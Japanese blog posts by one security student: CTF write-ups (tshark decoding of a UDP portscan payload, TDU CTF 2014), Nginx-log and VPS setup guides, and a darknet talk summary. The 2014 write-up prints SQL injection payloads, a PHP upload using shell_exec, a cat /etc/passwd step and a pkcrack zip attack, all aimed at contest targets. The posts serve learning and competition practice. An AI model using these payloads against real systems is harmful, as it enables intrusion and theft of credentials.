TDUCTF 2015 「Portscan」のWrite-upを丁寧に
TDUCTF 2015 に参加した.connpass.com
今回はPortscan(500pt)というNetwork問題で最も点数の高かった問題のWrite-upを書く.解けた人が4人と少なく,tsharkの使い方を知らない人が多い感じがしたので,試行の過程・ツールの使い方も含めて丁寧に書いていく.他の問題は大したものを解いてない or CTF終了後にWrite-up発表があったので,今回は省略する.
最後にCTFの結果と所感を述べる.
tsharkの使い方
問題を解く前提知識として,tsharkの使い方をまとめておく.tsharkとはWiresharkのCUI版であり,Wiresharkで出来るようなことがCUI上で行える.pcapデータを整形したり統計をとったりしたいときなどはこのtsharkが大活躍することがある.スクリプトを書く必要もなく,ワンライナーのコマンドですべてが解決する.Wiresharkがインストールされている環境であればtsharkも一緒に入っているはず.
オプション一覧も日本語でまとめられている.
CTFでよく使うオプションまとめ
-r [infile]
: [infile]で指定したpcapファイルを読み込む.-Y "[display filter]"
: [display filer]で指定したパケットに絞り込む.フィルタはWiresharkのDisplay filterで使えるものと同じ.-T fields
,-e [field]
: パケットのフィールドを指定して表示させる.フィールドの名前も同様にWiresharkのDisplay filterで使えるものと同じ.複数選択するときに区切り文字を指定したいときは-E separator=[char]
を使ってお好みで.-c [packet count]
: 表示するパケットの数を指定する.
すべてのDisplay filterは以下のページで参照できる.
Wiresharkでパケットを開いて,「このパケットのこのフィールドのDisplay filterを知りたい!」という時は,そのフィールド上で右クリック→Apply as Filter→SelectedでWiresharkのFilter欄に表示される.
コマンド例
「secretmsg.pcapを読み込み,送信先IPアドレスが192.168.0.238のパケットに絞り込み,送信先ポート,UDPチェックサム,ペイロードを並べて10パケット表示させたい」とき,コマンドは以下のようになる.
# tshark -r secretmsg.pcap -Y "ip.dst==192.168.0.238" -T fields -e udp.dstport -e udp.checksum -e data.data -c 10
出力は以下のとおり.
➜ tshark -r secretmsg.pcap -Y "ip.dst==192.168.0.238" -T fields -e udp.dstport -e udp.checksum -e data.data -c 10 1 0x0000f25f 23 1 0x00000000 2 0x0000f25d 23 2 0x00000000 3 0x0000f25b 23 3 0x00000000 4 0x0000f259 23 4 0x00000000 5 0x0000f257 23 5 0x00000000
パケットに指定したフィールドが存在しない場合は空白になる.また,ICMP Destination Unreachableなどの"パケットの中にパケットが存在する"ようなパケットの場合には,指定したフィールドがカンマで区切って複数個表示される場合がある.
Portscan (Network 500pt) Write-up
問題文:
ポートスキャンが仕掛けられた!ん?何かメッセージがついてきているぞ?
問題ファイル:
secretmsg.pcap
pcapファイルが渡されるので開いてみると,UDPスキャンを行っている通信が見れる.
ポートスキャンといえばSYNスキャンが主流だが,UDPのサービスを調査するときにはUDPパケットを送ってスキャンを行うことがある.ちなみにNmapでは-sU
オプションを付けてUDPスキャンを行うことが出来る.
今回のpcapでは,192.168.100.60から192.168.0.238(1~1288ポート)に向かってUDPパケットを送信し,すべてのポートからICMP Destination Unreachableが返ってきている.
問題文より,192.168.100.60が送信するUDPパケットにメッセージが隠されていることが推測できる.パケットにメッセージが隠されているとすれば,当然そのペイロードに注目する.ペイロードを見てみると,それぞれ1バイトのデータがあり,ぱっと見で0x20,0x23,0x0aの3種類しかないことがわかる(たまにペイロードがないものもある).
そこで,先ほどのtsharkを用いてUDPパケットのペイロードのみを抽出してみる.
➜ tshark -r secretmsg.pcap -Y "udp and !(icmp)" -T fields -e data.data 23 23 23 23 23 23 20 20 23 23 23 ....
Display filter を"!(icmp)"としたのは,前述のようにICMPパケットの中にUDPパケットが含まれており,"udp"というFilterだけではICMPパケットも同時に表示されるためである.これをリダイレクト(>)を用いてテキストファイル(out.txt)に出力しておく.
ここで,0x20,0x23,0x0aをそれぞれASCII文字で表すと,0x20はスペース,0x23は#(シャープ),0x0aは制御文字で改行を意味する.
先ほど生成したテキストファイルに対して,スクリプトを用いて文字の置換を行う.またペイロードがなかったものに関しては"@"とでもしておく.
solve.py
f = open("out.txt","r") str = "" for l in f: l = l.strip() if(l==""): l ="@" if(l=="0a"): l="\n" if(l=="20"): l=" " if(l=="23"): l="#" str += l print str f.close()
実行結果
ということで,フラグの文字がASCIIアートで表示された.
ヒントとしては,0x0aの出現回数が少なく,等間隔に存在するため,ここで改行したら長方形型になるかな?と推測できる.
フラグはTDU{PORTSCAN_PAYLOAD}
結果と所感
結果は69人中9位というつらい成績だった.上の人を見るとア。という感じ.
悔やまれる点
- Networkのメールの問題.zipファイルを見た瞬間に既知平文攻撃ができるとわかり,すぐにpkcrackを使ったがなぜか解凍できなかった.ファイルが壊れていたのか,既知平文のデータ量が少なかったのか,VMのメモリが足りなかったのか未だに謎.
- Webのアップロードのやつ.同じような問題が前回のTDUCTFでも出ており,しかも時間内に解いていたにも関わらず今回はやらなかった.やればよかった.
- 全体的にどうでもいいところでつまづくところがあった(pcap破損してて開けねえ!とか).競技中は音楽など聞かずに運営の方の話をちゃんと聞こうと思った.
問題数の割に時間が足りなくて全てに取り組むことができなくて残念だったが,取り組んだ問題に関しては楽しく解くことができた.
運営のみなさま,ありがとうございました!
セキュリティ・キャンプ 2015 講義資料まとめ
セキュキャンに行けなかった人がセキュキャンの資料のまとめをつくりました.
公開してくださって本当にありがとうございます!
※ここにない資料があれば@y_hagまで教えてくださるととても嬉しいです.
#ssmjp で発表した―「進化するWebトラッキングの話」
2015/07/31に開催された#ssmjpにて,「進化するWebトラッキングの話」というタイトルで発表しました.
会場は品川のBIGLOBEのオフィスでした.
2015年07月の#ssmjpまとめ | ssmjp Infomation
発表スライド
オフレコのスライドは省いてあります.ごめんなさい><
結構身近な話題だったので,shlideshareのほうがそこそこbuzzってました.やはりみんな関心があるんだなあと.
この勉強会では過去に一度発表させていただいたことがあったので,今回は比較的落ち着いて発表出来ました.少し残念だったのは,時間があまりなかったこともあり,発表を聞いた人から質問,意見,マサカリをあまりいただけなかったこと.まだまだWeb初心者なので,色々とフィードバックをいただけたらと思います.
twitter上の評価を見ていると,「今後はCookieに取って代わって,Browser Fingerprintがトラッキングの主流になるということなのか」というコメントがありましたが,けしてそうではないと思います.スライドにもあるように,RTBといった広告システム等で今後もCookieは使われ続けると思いますし,Browser Fingerprintはあくまでユーザーを識別するための"補助的な"情報という立ち位置になると思います.一方で,今後それ単体だけでユーザーを特定できるような最強のFingerprintが見つかってしまうかもしれません(ないとおもいますが).
Webトラッキングは新しい話題がどんどんでてきますし,対策もまだまだ十分と言えないので,研究してみるには面白い題材だと思います.
Nginxのアクセスログを自動でSQLiteに出力する
先日Nginxを使ってWEBサーバを立ち上げたのだが,アクセスログを解析しやすいようにデータベースに突っ込みたかったので自分で実装してみた.sonickun.hatenablog.com
Apacheのログなどをデータベースに出力するツールとしてfluentd等があるようだが,導入が面倒そうだったのと,自分で自由にカスタマイズしたかったという理由で今回はpythonで書いてみる.
Nginxのアクセスログ
/etc/nginx/nginx.conf
によれば,Nginxのアクセスログのフォーマットは以下のようになっている.
log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer"' '"$http_user_agent" "$http_x_forwarded_for"';
出力されたログの例は以下のとおり.
AA.BB.CC.DD - - [07/Apr/2015:03:36:34 +0000] "GET / HTTP/1.1" 200 1913 "http://sonickun.hatenablog.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36" "-"
また,ログファイルは以下のように1日毎に分割され,gzipで圧縮して/var/log/nginx/
下に保存される.
# ls /var/log/nginx/ access.log-20150405.gz access.log-20150406.gz access.log-20150407.gz access.log-20150408.gz access.log-20150409
実装
まずはログを格納するSQLiteデータベース(log.db)を/var/log/nginx/db/
下に作成する.
CREATE TABLE log( ip, remotelog, remoteuser, date, time, method, url, status, byte, refer, agent, xforwarded );
次に,ログファイルを読み込んでデータベースに出力するプログラムを作成する.
parse.py
import sqlite3 import datetime import gzip def parse(log, db): try: f = gzip.open(log, "rb") # decompress gzip conn = sqlite3.connect(db) cursor = conn.cursor() for line in f: data = [] a = line.split('"') line = line.split() #ip data.append(line[0]) #remotelog data.append(line[1]) #remoteuser data.append(line[2]) #date (ex. "07/Apr/2015" -> "2015/04/07") date = datetime.datetime.strptime(line[3][1:line[3].index(":")],"%d/%b/%Y") data.append(date.strftime("%Y/%m/%d")) #time data.append(line[3][line[3].index(":") + 1:]) #method data.append(a[1].split()[0]) #url data.append(" ".join(a[1].split()[1:])) #status data.append(line[8]) #byte data.append(line[9]) #refer data.append(a[-6]) #agent data.append(a[-4]) #x forwarded for data.append(a[-2]) try: cursor.execute( "insert into log values( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", (data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7], data[8], data[9], data[10], data[11]) ) except Exception as e: print str(e) conn.commit() cursor.close() conn.close() f.close() print "Complete." except Exception as e: print str(e) if __name__ == "__main__": # extract filename d = datetime.datetime.now() d = d - datetime.timedelta(days=1) d = d.strftime("%Y%m%d") log = "/var/log/nginx/access.log-" + d + ".gz" db = "/var/log/nginx/db/log.db" print log + " -> " + db, parse(log, db)
ログファイルは収集した翌日の午前3時過ぎころに圧縮され保存されるようなので,このプログラムを毎日午前5時ころに実行するようにする.以下のようにparse.sh
を作成する.
parse.sh
#!/bash/sh
python parse.py
これをcronを使って実行をスケジューリングする./etc/crontab
を以下のように編集する.
/etc/crontab
SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ 0 5 * * * root /var/log/nginx/src/parse.sh
これにより,毎日午前5時にparse.sh
が実行される.
出力結果
Nginxのログがデータベースに出力されているので,中身を確認してみる.
# sqlite3 log.db sqlite> select * from log limit 5; AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/ HTTP/1.1|200|1913|http://sonickun.hatenablog.com/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|- AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/css/vendor/fluidbox.min.css HTTP/1.1|200|346|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|- AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/css/main.css HTTP/1.1|200|2753|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|- AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/js/vendor/jquery.fluidbox.min.js HTTP/1.1|200|1526|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|- AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/js/main.js HTTP/1.1|200|140|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-
ログがデータベースに格納されている事がわかる.これで任意のSQL文を実行してさまざまな統計を行うことができるようになった.
VPSでWebサーバを構築した
先日のTDUCTF in ConohaでConoha VPSのクーポン券を頂いたので,遊び半分,勉強目的半分でWebサーバ(sonickun.xyz)を構築してみた.
Conoha VPS
今回VPSはConoha VPSを利用した.VPSの作成から管理まで,わかりやすいUIでとても簡単に行えた.www.conoha.jp
今回のVPSのスペックは以下のとおり.
- CPU: 2コア
- メモリ: 1GB
- HDD: 100GB
- OS: CentOS 6.5 (64bit)
これはConoha VPSの最小構成であり,お値段は月額930円とお手頃.
ユーザの設定
最初にログインした時はrootになっているため,一般ユーザを作成する.ユーザ名は仮に"hoge"とする.
# adduser hoge # passwd hoge
また,visudo
コマンドでsudoerを以下のように編集し,hogeがsudoを行えるようにする.
root ALL=(ALL) ALL hoge ALL=(ALL) ALL
SSHの設定
公開鍵認証でSSH接続を行えるように設定した.まずはssh-keygen
で公開鍵と秘密鍵のペアを作成する.
# ssh-keygen -t rsa
これにより,id_rsa(秘密鍵)とid_rsa.pub(公開鍵)のペアが生成される.サーバ側に公開鍵,クライアント側に秘密鍵を置くことにする.鍵の転送にはscp
を使った.
次に/etc/ssh/sshd_config
を以下のように編集する.
# rootでのログインを禁止する PermitRootLogin no # 公開鍵認証の設定 RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile .ssh/id_rsa.pub # パスワードでの認証を禁止する PasswordAuthentication no
最後にsshdを再起動する.
service sshd restart
ドメインの取得
おなじみ「お名前ドットコム」を利用した.www.onamae.com
今回ドメインとして"xyz"を選んだのは次の理由から.
- セールで安くなってたから(1年で300円くらい)
- どんな用途にも使えそうなドメインだから
- 単純にカッコイイから.
ドメインの登録が完了するとwhois情報の登録などは代行でやってもらえる.管理画面のDNSレコードの設定でVPSのIPアドレスを登録し,Conoha側で逆引きの設定をしたら出来上がり.
Webサーバ
Nginx
WebサーバにはNginx(エンジンエックス)を使った.
Nginxの特徴としては,リバースプロキシとして動作することがある.ロードバランサとしても使えるし,HTTPSにも対応しているためSSL/TLSアクセラレータとして使用することもできる.また,画像やHTMLテキストといった静的コンテンツもキャッシュすることが可能.
Nginxのアクセス制御などのコンフィグは/etc/nginx/ngin.conf
に集約されており,簡潔に設定を行える.今回は,/etc/nginx/conf.d/server.conf
を作成し,このファイルを読み込ませるようにした.
/etc/nginx/conf.d/server.conf
server { listen 80; server_name sonickun.xyz; location / { root /var/www/html; index index.html index.htm; } }
これにより,sonickun.xyzにアクセスした時に/var/www/html
以下のindex.htmlが表示されるという設定になる.
Bootstrap
またWebフレームワークとして,Bootstrapを用いた.BootstrapはHTML5・CSS3・jQueryを使用したフレームワークであり,レスポンシブデザインにも対応している.また多彩なパッケージやテンプレートが存在し,デザインの能力があまりなくてもそこそこカッコイイサイトが作れる.getbootstrap.com
「Bootstrap テンプレート」などで検索するといろいろ出てくるので,その中からシンプルで良さげなものを選んだ.
これでほとんど雛形が完成してるので,あとは適当にHTMLを自分なりにアレンジするだけ.
所感と今後の予定
Web初心者なのでサーバを構築しながらいくつも知見を得ることができてよかった.実際に自分で手を動かしたほうが理解が深まる.
今後の予定としては
- ファイアウォールの設定を見直す
- CTF用のサイトを作る
- パケットキャプチャしてパケットを愛でる
などを考えている.
TDU CTF 2014 Satellite in ConoHa ― Write-up
TDU CTF 2014 Satellite in ConoHaに参加した。結果は1000点くらい(覚えていない)で15位くらい(覚えていない)だった。上位の人達を見てみると、GEKI-YABAな人たちが名を連ねていた。
Write-up
EasySQLi Challenge
SQLインジェクションの問題。Webサイトの入力フォームに"(ダブルクオート)などを入力するとSQLエラーが表示され、SQLiが可能であることがわかる。"or "1"="1
を入力するとテーブルの情報がすべて表示されるが、フラグはない。フラグは別のテーブルにあると思い、" OR 1=1 UNION SELECT sql, 1 FROM sqlite_master;--
を入力してスキーマ情報を抜き取る。
CREATE TABLE "ok_flag_is_here"(title varchar(48), body varchar(256)) CREATE TABLE flagTable(title varchar(48), body varchar(256)) CREATE TABLE questionTable(title varchar(48), body varchar(256))
"ok_flag_is_here"とflagTableというテーブルがあるので、" OR 1=1 UNION SELECT title, body FROM "ok_flag_is_here";--
と" OR 1=1 UNION SELECT title, body FROM flagTable;--
でフラグが2つ得られた。
テーブルの中にURLがあり、そこに移動するとステージ2のページが現れる。こちらはMySQLであることがわかったので、" or "1"="1";#
で3つ目のフラグが得られた。ただフラグの文字列は白塗りされており見つけくくなっていた。一応" UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES) ;#
でスキーマ情報を抜くことはできたがこの先にフラグはあったのだろうか。
Simple Uploder
ウェブサイトからサーバへ任意のファイルがアップロードできるようになっている。phpファイルをアップロードすれば実行してくれるのかなーと思い、HelloWorldなプログラムを送ったらやはり実行された。つまりは任意のコードのが実行できるということなので、以下のようにls -l
をするプログラムを送る。
<?php $command = 'ls -l'; $output = shell_exec("{$command} 2>&1"); print_r ($output); ?>
すると、参加者がアップロードしたファイルの中に一つだけ更新日時の古いPNGファイルを見つけたので、これを表示させる。
<?php $image_path = './dc3db649f63cc360174b2ea7e470ee40.png'; header('Content-Type: image/jpeg'); readfile($image_path); ?>
これで1つ目のフラグをゲット。さらに先ほどのプログラムを使ってcat /etc/passwd
を実行したところ、passwdファイルの中に2つ目のフラグがあった。
SUPER ULTIMATE COOL SECURE NOTING SYSTEM
adminのログイン画面でuserに"or "1"="1
を入力するとログインができ、1つ目のフラグが得られる。2つ目のフラグはadminのパスワードとの事だったので、ブラインドSQLiかなと思ったところで断念。後で聞いた話によるとSearchのところからSQLiでパスワードが得られたらしい。
Developer! Developer! Developer!
暗号化されたzipファイル(question.zip)が渡される。中にはflag.txt(1KB)とSteve_ballmer_2007_outdoors2.jpg(295KB)があることがわかったので、Steve_ballmer_2007_outdoors2.jpgが手に入れば既知平文攻撃ができるなと思った。ファイル名でググったらすぐ出てきたのでここからダウンロードする。既知平文攻撃にはpkcrackをつかう。pkcrackは32bit WindowsとLinuxで動作するが、なぜかWindowsでは解凍できなかった。Linux上で以下のコマンドでフラグを得た。
$ pkcrack -C question.zip -c Steve_ballmer_2007_outdoors2.jpg -p Steve_ballmer_2007_outdoors2.jpg -d target.zip $ unzip target.zip $ cat flag.txt
読めない文字1
BASE64な文字が渡された。文字を2回デコードしたところフラグが得られた。
unknown file
3B14EA88FCDB58239928D829DD5182E23D866255というASCII textのファイルが渡される。Trip Pictureと同様stringsとgrepでフラグを見つけた。
柚子胡椒 Vol.1
bluetooth.pcapというpcapファイルが渡される。bluetoothのパケットうわぁ…とおもったがstringsとgrepでフラグが得られたので結局中身を見ていない。
Evidence
RawImageというイメージファイルが渡される。FTK Imagerでマウントして中身を見ると、"!oc.pdf"というPDFファイルを見つけたのでこれをエクスポートして開いたらフラグが得られた。
misc
覚えてません ;)
所感
初心者向け(?)のCTFなだけあって、たくさん問題が解けて楽しかった。確実に解かなければならない問題をしっかり解けたのは良かった。ただ得意なはずのNetwork問題で見たことがないパケットが出てきて解けなかったのは辛かった。いつものことながらbinary系の問題を敬遠してしまったので、後でしっかり解こうと思う。
運営の皆様、ありがとうございました!
#ssmjp で発表した ―「ダークネットのはなし」
"深淵を覗き込む時、深淵もまたこちら側を覗き込んでいるのだ。"
2015年2月20日のssmjpという勉強会でダークネットについて発表させていただきました.(会場は品川のBIGLOBEのオフィス)
「ダークネット」という,なんとも厨二くさいワードですが,れっきとしたネットワーク用語です.
インターネットのダークサイドへようこそ...
会場で寄せられた質問は以下のとおり.
Q.IPアドレスがダークネットか否かを判断する方法はなにか
A.あらゆるリクエストパケットを投げてみて,なにも応答がなかったらダークネットと考える.
Q.ダークネットと経路なしの区別はなにか
A.ダークネットはパケットが「到達可能」なのに対して,経路なしはパケットが「到達不可能」なもの.到達不可能とはルータの先に経路情報がなくパケットが到達し得ない状態のこと.
Q.一時的にサーバーダウンして応答を返さないIPアドレスもダークネットに含まれるか
A.そういったIPアドレスもダークネットの定義に当てはまる.ダークネットの領域は日々変化するものと考えてよい.
Q.ダークネットのデータセットは公開されているのか
A.今回使用したNICTER Darknet DatasetはMWS(マルウェア対策研究人材育成ワークショップ)で大学等の研究者向けに提供されているものであり,一般に公開はされていない.データの解析はNICTが管理するVM上で行う.(参考:マルウェア対策研究人材育成ワークショップ 2014 (MWS2014))
Q.IPv6のダークネットにおいても同様にパケットは観測され,サイバー攻撃の傾向分析に役立つか
A.IPv6のダークネットでもパケットは観測されるとは思うが,IPv4のようにアドレス空間全体をスキャンしようと考える人はほとんどいないのではないかと思うので,その数は少なく,傾向分析は難しいのではないかと考えている.攻撃者としては,スキャンをする際はある程度ターゲットに当たりをつけてスキャンするはず.
他にも「スキャンされにくいようなネットワーク構築を心がけるべき.セグメントは大きく分割しすぎない.」などのご意見も頂きました.議論に参加してくださった方々,本当にありがとうございました.
※DAEDALUSの解説,NTP/DNS amp 攻撃の解説,スキャンツールの解説等は口頭で済ませてしまったためスライドにはありません(また別の機会に).アップロード版の自己紹介スライドではなんとなく本名は伏せてあります.
発表についての感想
ssmjpはこれまで2回ほど参加していて,今回初めて発表側に立たせていただきました.今回はいつもより学生が少なくほとんどが社会人のプロな方だったので若干緊張しました.とくに質疑応答の時は慌てずもっと落ち着いて答えられるようになりたいです(若干的はずれな回答もしてしまった気がして反省している).また,「ダークネットおもしろい!」という言葉をたくさん頂けたことは嬉しかったです.アウトプットはホント大事だなあと実感したので,今後も精進してまた何かしらの勉強会で発表できたらと思います.